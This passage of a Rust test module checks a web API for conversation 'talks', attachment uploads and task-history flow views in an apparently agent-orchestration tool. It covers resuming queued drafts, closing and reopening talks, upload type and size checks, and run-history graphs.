13065 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13066 let home = TempDir::new().expect("temp home");
13067 let talks = Talks::at(home.path().join("talks"));
13068 let ui = Arc::new(
13069 Ui::new(
13070 Queue::at(home.path().join("queue")),
13071 Questions::at(home.path().join("questions")),
13072 talks.clone(),
13073 home.path().join("runs"),
13074 home.path().to_path_buf(),
13075 repo.clone(),
13076 )
13077 .with_worktrees_root(home.path().join("wt")),
13078 );
13079 let cfg = config_for(&repo).await.expect("discover config");
13080
13081 for attempt in 0..3u32 {
13082 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13083 let id = talk.id.clone();
13084 let turn_guard = ui
13087 .begin_talk_turn(&id)
13088 .expect("claim the turn")
13089 .expect("a fresh talk owes nobody a turn");
13090
13091 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13092 let (release_tx, release_rx) = std::sync::mpsc::channel();
13093 ui.set_busy_queue_gate(BusyQueueGate {
13094 reached: reached_tx,
13095 release: release_rx,
13096 });
13097
13098 let handler = tokio::spawn(talk_say(
13099 State(Arc::clone(&ui)),
13100 Path(id.clone()),
13101 Ok(Json(NewTalkTurn {
13102 reply_to: None,
13103 text: "what does the queue module do?".to_owned(),
13104 attachments: Vec::new(),
13105 })),
13106 ));
13107
13108 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13113 .await
13114 .unwrap_or_else(|_| {
13115 panic!(
13116 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13117 )
13118 })
13119 .expect("the busy branch dropped the gate without using it");
13120
13121 let running = talks.get(&id).expect("reload talk");
13128 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13129
13130 handler.abort();
13134 let _ = handler.await;
13135
13136 let _ = release_tx.send(());
13142
13143 let mut fresh = talks.get(&id).expect("reload talk");
13146 for _ in 0..SETTLE_STEPS {
13147 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13148 break;
13149 }
13150 tokio::time::sleep(Duration::from_millis(10)).await;
13151 fresh = talks.get(&id).expect("reload talk");
13152 }
13153 assert!(
13154 fresh.pending.is_empty() && fresh.turns.len() == 2,
13155 "attempt {attempt}: talk {id} left the operator's text queued \
13156 with no drainer - the reclaimed turn was dropped along with \
13157 the handler future (pending {:?}, {} turns)",
13158 fresh.pending,
13159 fresh.turns.len()
13160 );
13161 }
13162 }
13163
13164 #[tokio::test]
13165 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13166 let (_tmp, _repo, f) = talk_fixture().await;
13167 let id = f.post("/api/talks", None).await.json()["id"]
13168 .as_str()
13169 .expect("id")
13170 .to_owned();
13171 let store = f.talks();
13172 let mut recovered = store.get(&id).expect("opened talk");
13173 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13174 .expect("persist pending draft without a live turn");
13175
13176 let edited = f
13177 .post(
13178 &format!("/api/talks/{id}/pending/edit"),
13179 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13180 )
13181 .await;
13182 assert_eq!(edited.status, 200, "{}", edited.body);
13183 assert!(edited.json()["thinking"].as_bool().unwrap());
13184
13185 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13186 for _ in 0..SETTLE_STEPS {
13187 if detail["turns"].as_array().expect("turns").len() == 2 {
13188 break;
13189 }
13190 tokio::time::sleep(Duration::from_millis(10)).await;
13191 detail = f.get(&format!("/api/talks/{id}")).await.json();
13192 }
13193 let turns = detail["turns"].as_array().expect("turns");
13194 assert_eq!(
13195 turns.len(),
13196 2,
13197 "the recovered draft must run once: {detail}"
13198 );
13199 assert_eq!(turns[0]["body"], "corrected");
13200 assert_eq!(detail["pending"], "");
13201 }
13202
13203 #[tokio::test]
13204 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13205 let tmp = TempDir::new().expect("tempdir");
13206 let repo = tmp.path().join("repo");
13207 std::fs::create_dir_all(&repo).expect("repo dir");
13208 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13209 let f = Fixture::with_repo(repo).await;
13210 let id = f.post("/api/talks", None).await.json()["id"]
13211 .as_str()
13212 .expect("id")
13213 .to_owned();
13214 let store = f.talks();
13215 let mut recovered = store.get(&id).expect("opened talk");
13216 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13217 .expect("persist pending draft without a live turn");
13218
13219 let refused = f
13220 .post(
13221 &format!("/api/talks/{id}/say"),
13222 Some(r#"{"text":"new message"}"#),
13223 )
13224 .await;
13225 assert_eq!(refused.status, 409, "{}", refused.body);
13226 assert!(refused.body.contains("resume"), "{}", refused.body);
13227 let saved = store.get(&id).expect("draft remains after refusal");
13228 assert!(saved.turns.is_empty());
13229 assert_eq!(saved.pending, "saved before restart");
13230
13231 let say_path = format!("/api/talks/{id}/say");
13232 let (first, second) = tokio::join!(
13233 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13234 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13235 );
13236 assert_eq!(first.status, 409, "{}", first.body);
13237 assert_eq!(second.status, 409, "{}", second.body);
13238 let saved = store
13239 .get(&id)
13240 .expect("draft remains after concurrent refusals");
13241 assert!(saved.turns.is_empty());
13242 assert_eq!(saved.pending, "saved before restart");
13243
13244 let resumed = f
13245 .post(&format!("/api/talks/{id}/pending/resume"), None)
13246 .await;
13247 assert_eq!(resumed.status, 202, "{}", resumed.body);
13248 let duplicate = f
13249 .post(&format!("/api/talks/{id}/pending/resume"), None)
13250 .await;
13251 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13252
13253 for _ in 0..SETTLE_STEPS {
13254 if store.get(&id).expect("talk").turns.len() == 2 {
13255 break;
13256 }
13257 tokio::time::sleep(Duration::from_millis(10)).await;
13258 }
13259 let finished = store.get(&id).expect("finished talk");
13260 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13261 assert_eq!(finished.turns[0].body, "saved before restart");
13262 assert!(finished.pending.is_empty());
13263 }
13264
13265 #[tokio::test]
13266 async fn an_image_only_recovered_draft_resumes_without_text() {
13267 let (_tmp, _repo, f) = talk_fixture().await;
13268 let id = f.post("/api/talks", None).await.json()["id"]
13269 .as_str()
13270 .expect("id")
13271 .to_owned();
13272 let uploaded = f
13273 .post_bytes(
13274 &format!("/api/talks/{id}/attachments"),
13275 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13276 PNG_BYTES,
13277 )
13278 .await;
13279 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13280 let attachment = f
13281 .talks()
13282 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13283 .expect("attachment metadata")
13284 .expect("stored attachment");
13285 let store = f.talks();
13286 let mut recovered = store.get(&id).expect("opened talk");
13287 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13288
13289 let resumed = f
13290 .post(&format!("/api/talks/{id}/pending/resume"), None)
13291 .await;
13292 assert_eq!(resumed.status, 202, "{}", resumed.body);
13293 for _ in 0..SETTLE_STEPS {
13294 if store.get(&id).expect("talk").turns.len() == 2 {
13295 break;
13296 }
13297 tokio::time::sleep(Duration::from_millis(10)).await;
13298 }
13299 let finished = store.get(&id).expect("finished talk");
13300 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13301 assert!(finished.turns[0].body.is_empty());
13302 assert_eq!(finished.turns[0].attachments.len(), 1);
13303 assert!(finished.pending_attachments.is_empty());
13304 }
13305
13306 #[tokio::test]
13307 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13308 let (_tmp, _repo, f) = talk_fixture().await;
13309 let id = f.post("/api/talks", None).await.json()["id"]
13310 .as_str()
13311 .expect("id")
13312 .to_owned();
13313 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13314 assert_eq!(closed.status, 200, "{}", closed.body);
13315 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13316 .expect("serialize closed talk");
13317 for (path, body) in [
13318 (format!("/api/talks/{id}/pending/resume"), None),
13319 (
13320 format!("/api/talks/{id}/pending/clear"),
13321 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13322 ),
13323 (
13324 format!("/api/talks/{id}/pending/edit"),
13325 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13326 ),
13327 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13328 ] {
13329 let response = f.post(&path, body).await;
13330 assert_eq!(response.status, 409, "{}", response.body);
13331 }
13332 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13333 .expect("serialize closed talk");
13334 assert_eq!(
13335 after_clear, before_clear,
13336 "clear must not rewrite a closed talk"
13337 );
13338 }
13339
13340 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13343
13344 #[tokio::test]
13345 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13346 let tmp = TempDir::new().expect("tempdir");
13347 let repo = tmp.path().join("repo");
13348 std::fs::create_dir_all(&repo).expect("repo dir");
13349 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13350 let f = Fixture::with_repo(repo).await;
13351 let id_a = f.post("/api/talks", None).await.json()["id"]
13352 .as_str()
13353 .unwrap()
13354 .to_owned();
13355 let id_b = f.post("/api/talks", None).await.json()["id"]
13356 .as_str()
13357 .unwrap()
13358 .to_owned();
13359
13360 let a = f
13361 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13362 .await;
13363 assert_eq!(a.status, 202, "{}", a.body);
13364 assert_eq!(a.json()["thinking"], true);
13365 let b = f
13366 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13367 .await;
13368 assert_eq!(b.status, 202, "{}", b.body);
13369 assert_eq!(b.json()["thinking"], true);
13370
13371 let listed = f.get("/api/talks").await.json();
13372 for id in [&id_a, &id_b] {
13373 let view = listed
13374 .as_array()
13375 .unwrap()
13376 .iter()
13377 .find(|talk| talk["id"] == *id)
13378 .unwrap();
13379 assert_eq!(view["thinking"], true, "{listed}");
13380 }
13381 let repeated = f
13382 .post(
13383 &format!("/api/talks/{id_a}/say"),
13384 Some(r#"{"text":"again"}"#),
13385 )
13386 .await;
13387 assert_eq!(repeated.status, 202, "{}", repeated.body);
13388 assert_eq!(repeated.json()["pending"], "again");
13389 }
13390
13391 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13394
13395 #[tokio::test]
13396 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13397 let f = Fixture::start().await;
13398 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13399
13400 let res = f
13401 .post_bytes(
13402 &format!("/api/talks/{id}/attachments"),
13403 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13404 PNG_BYTES,
13405 )
13406 .await;
13407 assert_eq!(res.status, 201, "{}", res.body);
13408 let body = res.json();
13409 assert_eq!(body["name"], "shot.png");
13410 assert_eq!(body["mime"], "image/png");
13411 assert_eq!(body["bytes"], PNG_BYTES.len());
13412 let att_id = body["id"].as_str().expect("id").to_owned();
13413 assert_eq!(
13414 att_id.len(),
13415 32,
13416 "the id must never be a client-suppliable path: {att_id}"
13417 );
13418
13419 let got = f
13420 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13421 .await;
13422 assert_eq!(got.status, 200, "{}", got.body);
13423 assert_eq!(got.header("content-type"), Some("image/png"));
13424 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13425 assert_eq!(got.bytes, PNG_BYTES);
13426 }
13427
13428 #[tokio::test]
13429 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13430 let f = Fixture::start().await;
13431 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13432
13433 let svg = f
13436 .post_bytes(
13437 &format!("/api/talks/{id}/attachments"),
13438 &[("Content-Type", "image/svg+xml")],
13439 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13440 )
13441 .await;
13442 assert!(
13443 (400..500).contains(&svg.status),
13444 "svg must be refused: {} {}",
13445 svg.status,
13446 svg.body
13447 );
13448 assert!(svg.body.contains("SVG"), "{}", svg.body);
13449
13450 let text = f
13451 .post_bytes(
13452 &format!("/api/talks/{id}/attachments"),
13453 &[("Content-Type", "text/plain")],
13454 b"just some text",
13455 )
13456 .await;
13457 assert!(
13458 (400..500).contains(&text.status),
13459 "an unlisted type must be refused: {} {}",
13460 text.status,
13461 text.body
13462 );
13463
13464 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13467 let big = f
13468 .post_bytes(
13469 &format!("/api/talks/{id}/attachments"),
13470 &[("Content-Type", "image/png")],
13471 &oversized,
13472 )
13473 .await;
13474 assert_eq!(
13475 big.status,
13476 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13477 "{}",
13478 big.body
13479 );
13480 }
13481
13482 #[tokio::test]
13483 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13484 let f = Fixture::start().await;
13485 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13486
13487 let res = f
13490 .post_bytes(
13491 &format!("/api/talks/{id}/attachments"),
13492 &[("Content-Type", "image/png")],
13493 b"<html>not a picture</html>",
13494 )
13495 .await;
13496 assert!((400..500).contains(&res.status), "{}", res.body);
13497 }
13498
13499 #[tokio::test]
13500 async fn an_unknown_attachment_id_is_a_404() {
13501 let f = Fixture::start().await;
13502 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13503
13504 let res = f
13505 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13506 .await;
13507 assert_eq!(res.status, 404, "{}", res.body);
13508 }
13509
13510 #[tokio::test]
13511 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13512 let f = Fixture::start().await;
13513 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13514
13515 let uploaded = f
13516 .post_bytes(
13517 &format!("/api/talks/{id}/attachments"),
13518 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13519 PNG_BYTES,
13520 )
13521 .await;
13522 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13523 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13524
13525 let res = f
13526 .post(
13527 &format!("/api/talks/{id}/say"),
13528 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13529 )
13530 .await;
13531 assert_eq!(res.status, 202, "{}", res.body);
13532 let queued = res.json();
13533 let turns = queued["turns"].as_array().expect("turns array");
13534 assert_eq!(
13535 turns.len(),
13536 1,
13537 "an empty body with an attachment is still a turn: {queued}"
13538 );
13539 assert_eq!(turns[0]["who"], "operator");
13540 assert_eq!(turns[0]["body"], "");
13541 let atts = turns[0]["attachments"]
13542 .as_array()
13543 .expect("attachments array");
13544 assert_eq!(atts.len(), 1);
13545 assert_eq!(atts[0]["id"], att_id);
13546 assert_eq!(atts[0]["mime"], "image/png");
13547
13548 let on_disk = f.talks().get(&id).expect("get");
13551 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13552 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13553 }
13554
13555 #[tokio::test]
13556 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13557 let f = Fixture::start().await;
13558 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13559
13560 let res = f
13561 .post(
13562 &format!("/api/talks/{id}/say"),
13563 Some(&format!(
13564 r#"{{"text":"hi","attachments":["{}"]}}"#,
13565 "a".repeat(32)
13566 )),
13567 )
13568 .await;
13569 assert!((400..500).contains(&res.status), "{}", res.body);
13570 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13571
13572 let on_disk = f.talks().get(&id).expect("get");
13573 assert!(
13574 on_disk.turns.is_empty(),
13575 "a rejected attachment id must not partially record the turn: {:?}",
13576 on_disk.turns
13577 );
13578 }
13579
13580 #[tokio::test]
13581 async fn talk_close_makes_the_talk_refuse_further_turns() {
13582 let f = Fixture::start().await;
13583 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13584
13585 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13586 assert_eq!(closed.status, 200, "{}", closed.body);
13587 assert_eq!(closed.json()["status"], "closed");
13588
13589 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13591 assert_eq!(closed_again.status, 200);
13592 assert_eq!(closed_again.json()["status"], "closed");
13593
13594 let said = f
13595 .post(
13596 &format!("/api/talks/{id}/say"),
13597 Some(r#"{"text":"too late"}"#),
13598 )
13599 .await;
13600 assert_eq!(said.status, 409, "{}", said.body);
13601 }
13602
13603 #[tokio::test]
13604 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13605 let (_tmp, _repo, f) = talk_fixture().await;
13606 let id = f.post("/api/talks", None).await.json()["id"]
13607 .as_str()
13608 .expect("id")
13609 .to_owned();
13610 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13611 assert_eq!(closed.status, 200, "{}", closed.body);
13612
13613 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13614 assert_eq!(reopened.status, 200, "{}", reopened.body);
13615 assert_eq!(reopened.json()["status"], "open");
13616
13617 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13619 assert_eq!(reopened_again.status, 200);
13620 assert_eq!(reopened_again.json()["status"], "open");
13621
13622 let said = f
13623 .post(
13624 &format!("/api/talks/{id}/say"),
13625 Some(r#"{"text":"still there?"}"#),
13626 )
13627 .await;
13628 assert_eq!(
13629 said.status, 202,
13630 "a reopened talk accepts turns again: {}",
13631 said.body
13632 );
13633 }
13634
13635 #[tokio::test]
13636 async fn talk_reopen_on_an_unknown_id_is_404() {
13637 let f = Fixture::start().await;
13638 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13639 assert_eq!(res.status, 404, "{}", res.body);
13640 }
13641
13642 #[tokio::test]
13643 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13644 let f = Fixture::start().await;
13645 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13646
13647 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13648 assert_eq!(deleted.status, 204, "{}", deleted.body);
13649
13650 let after = f.get(&format!("/api/talks/{id}")).await;
13651 assert_eq!(after.status, 404, "{}", after.body);
13652
13653 let listed = f.get("/api/talks").await.json();
13654 assert!(
13655 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13656 "a deleted talk must not linger in the list: {listed}"
13657 );
13658 }
13659
13660 #[tokio::test]
13661 async fn talk_delete_on_an_unknown_id_is_404() {
13662 let f = Fixture::start().await;
13663 let res = f.delete("/api/talks/nonexistent-id").await;
13664 assert_eq!(res.status, 404, "{}", res.body);
13665 }
13666
13667 #[tokio::test]
13671 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13672 let f = Fixture::start().await;
13673 let (a, b, gone) = (
13674 "20260902-140501-aaaa",
13675 "20260902-140502-bbbb",
13676 "20260902-140503-cccc",
13677 );
13678 write_run(&f.runs(), a, RunStatus::Stalled);
13679 let mut review = RunState::new(
13680 PathBuf::from("/repo/magi"),
13681 "main".to_owned(),
13682 "0123456789abcdef".to_owned(),
13683 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13684 .to_owned(),
13685 Config::default(),
13686 );
13687 review.id = b.to_owned();
13688 review.status = RunStatus::Merged;
13689 write_state(&f.runs(), &review);
13690
13691 let mut task = Task::new(
13692 "retry".to_owned(),
13693 "Do the thing".to_owned(),
13694 PathBuf::from("/repo/magi"),
13695 Source::Human,
13696 );
13697 task.start(a.to_owned());
13698 task.stall("quota");
13699 task.start(a.to_owned());
13700 task.start(b.to_owned());
13701 task.start(gone.to_owned());
13702 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13704 f.queue().put(&mut task).expect("file the task");
13705
13706 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13707 assert_eq!(res.status, 200, "{}", res.body);
13708 let v = res.json();
13709 let h = v["history"].as_array().expect("history");
13710 assert_eq!(h.len(), 4, "{v}");
13711 assert_eq!(h[0]["kind"], "competition");
13712 assert_eq!(h[0]["status"], "stalled");
13713 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13714 assert_eq!(h[1]["kind"], "resume", "{v}");
13715 assert!(
13716 h[0]["outcome"]
13717 .as_str()
13718 .unwrap()
13719 .contains("unknown. Pass #2"),
13720 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13721 );
13722 assert!(
13723 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13724 "{v}"
13725 );
13726 assert!(
13727 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13728 "an unrecorded cause must not be narrated as an operator park: {v}"
13729 );
13730 assert_eq!(h[2]["kind"], "review");
13731 assert!(
13732 h[2]["description"]
13733 .as_str()
13734 .unwrap()
13735 .contains("magi/aaaa/A")
13736 );
13737 assert_eq!(h[2]["status"], "merged");
13738 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13739 assert_eq!(v["runs_unreadable"], 1);
13740 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13741 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13742 assert_eq!(nodes[4]["note"], "unreadable");
13743 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13744 assert_eq!(v["instruction"], "Do the thing");
13745 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13746
13747 let run = f.get(&format!("/api/runs/{a}")).await.json();
13749 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13750
13751 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13752 }
13753
13754 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13755 let mut s = RunState::new(
13756 PathBuf::from("/repo/magi"),
13757 "main".to_owned(),
13758 "0123456789abcdef".to_owned(),
13759 "Do it".to_owned(),
13760 Config::default(),
13761 );
13762 s.status = status;
13763 edit(&mut s);
13764 s
13765 }
13766
13767 fn flow_task(runs: &[&str]) -> Task {
13768 let mut t = Task::new(
13769 "t".to_owned(),
13770 "Do it".to_owned(),
13771 PathBuf::from("/repo/magi"),
13772 Source::Human,
13773 );
13774 for r in runs {
13775 t.start((*r).to_owned());
13776 }
13777 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13779 t
13780 }
13781
13782 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13783 let h = task_history(task, |id| {
13784 states
13785 .iter()
13786 .find(|(i, _)| *i == id)
13787 .and_then(|(_, s)| s.clone())
13788 });
13789 task_flow(task, &h, 5, None)
13790 }
13791
13792 #[test]
13793 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
13794 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
13795 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13796 let first = "2026-10-10T02:00:00Z".parse().unwrap();
13797 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
13798 let held = "2026-10-10T04:00:00Z".parse().unwrap();
13799 let run = flow_run(RunStatus::Implementing, |s| {
13800 s.created_at = created;
13801 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
13802 s.passes[0].started_at = first;
13803 s.passes[1].started_at = resumed;
13804 });
13805 let mut task = flow_task(&[RUN_X, RUN_X]);
13806 task.created_at = queued;
13807 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
13808 task.status = TaskStatus::Held;
13809 task.held_at = Some(held);
13810 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
13811 assert_eq!(
13812 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
13813 vec![Some(queued), Some(first), Some(resumed), Some(held)]
13814 );
13815 assert!(flow.nodes.iter().all(|n| n.time_expected));
13816 let json = serde_json::to_value(&flow).unwrap();
13817 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
13818 assert_eq!(json["nodes"][2]["time_expected"], true);
13819 }
13820
13821 #[test]
13822 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
13823 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13824 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
13825 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
13826 task.held_at = Some(created);
13828 task.blocked_at = Some(created);
13829 for status in [
13830 TaskStatus::Queued,
13831 TaskStatus::Running,
13832 TaskStatus::Blocked,
13833 TaskStatus::Done,
13834 TaskStatus::Failed,
13835 TaskStatus::Parked,
13836 TaskStatus::Held,
13837 ] {
13838 task.status = status;
13839 if status == TaskStatus::Held {
13840 task.held_at = None;
13841 }
13842 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
13843 assert_eq!(flow.nodes[1].started_at, Some(created));
13844 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
13845 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
13846 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
13847 let json = serde_json::to_value(&flow).unwrap();
13848 assert!(json["nodes"][3]["started_at"].is_null());
13849 assert_eq!(json["nodes"][3]["time_expected"], true);
13850 }
13851 }
13852
13853 #[test]
13854 fn flow_context_links_do_not_expect_start_times() {
13855 let mut task = flow_task(&[]);
13856 task.source = Source::Agent {
13857 run: "chat-id".to_owned(),
13858 node: "chat".to_owned(),
13859 };
13860 let origin = followup_origin(&fu(None), |_| None, |_| None);
13861 let flow = task_flow(&task, &[], 5, Some(&origin));
13862 for node in &flow.nodes[..2] {
13863 assert!(!node.time_expected);
13864 assert_eq!(node.started_at, None);
13865 }
13866 assert!(flow.nodes[2].time_expected);
13867 }
13868
13869 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13870 crate::queue::FollowUp {
13871 run: "20260901-000000-aaaa".to_owned(),
13872 origin_task: origin_task.map(str::to_owned),
13873 pr: "https://example.com/o/r/pull/1".to_owned(),
13874 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13875 .map(str::to_owned)
13876 .to_vec(),
13877 generation: 1,
13878 }
13879 }
13880
13881 fn parent_task() -> Task {
13882 let mut p = flow_task(&[]);
13883 p.title = "Parent title".to_owned();
13884 p.status = TaskStatus::Done;
13885 p
13886 }
13887
13888 #[test]
13889 fn flow_opens_with_the_parent_task_of_a_followup() {
13890 let p = parent_task();
13891 let pid = p.id.clone();
13892 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13893 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13894 let n = &f.nodes[0];
13895 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13896 assert_eq!(
13897 n.label,
13898 format!("Follow-up of {}", crate::queue::short(&pid))
13899 );
13900 assert_eq!(n.detail.as_deref(), Some("Parent title"));
13901 assert_eq!(n.status, Some("done"));
13902 assert_eq!(n.status_of, "task");
13903 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13904 assert_eq!(f.nodes[1].key, "start");
13905 assert_eq!(f.edges[0].from, "origin");
13906 assert_eq!(
13907 f.edges[0].label,
13908 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13909 );
13910 }
13911
13912 #[test]
13913 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13914 let o = followup_origin(
13915 &fu(Some("gone")),
13916 |_| None,
13917 |_| {
13918 Some(RunState::new(
13919 std::path::PathBuf::from("."),
13920 "main".to_owned(),
13921 "0".to_owned(),
13922 "t".to_owned(),
13923 crate::config::Config::default(),
13924 ))
13925 },
13926 );
13927 assert!(o.parent.is_none());
13928 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13929 let n = &f.nodes[0];
13930 assert_eq!(n.status_of, "run");
13931 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13932 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13933 }
13934
13935 #[test]
13936 fn flow_followup_with_nothing_readable_has_no_link() {
13937 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13938 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13939 let n = &f.nodes[0];
13940 assert_eq!(n.href, None);
13941 assert_eq!(n.note, Some("unreadable"));
13942 assert!(!n.readable);
13943 }
13944
13945 #[test]
13946 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13947 let o = followup_origin(&fu(None), |_| None, |_| None);
13948 let mut t = flow_task(&[]);
13949 t.origin_chat = Some("c1".to_owned());
13950 let f = task_flow(&t, &[], 5, Some(&o));
13951 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13952 t.source = Source::Agent {
13953 run: "c1".to_owned(),
13954 node: crate::queue::CHAT_NODE.to_owned(),
13955 };
13956 let f = task_flow(&t, &[], 5, Some(&o));
13957 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13958 assert_eq!(
13959 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13960 ("chat", "origin")
13961 );
13962 }
13963
13964 #[test]
13965 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13966 let mut p = parent_task();
13967 p.id = "a b/c".to_owned();
13968 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13969 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13970 }
13971
13972 #[test]
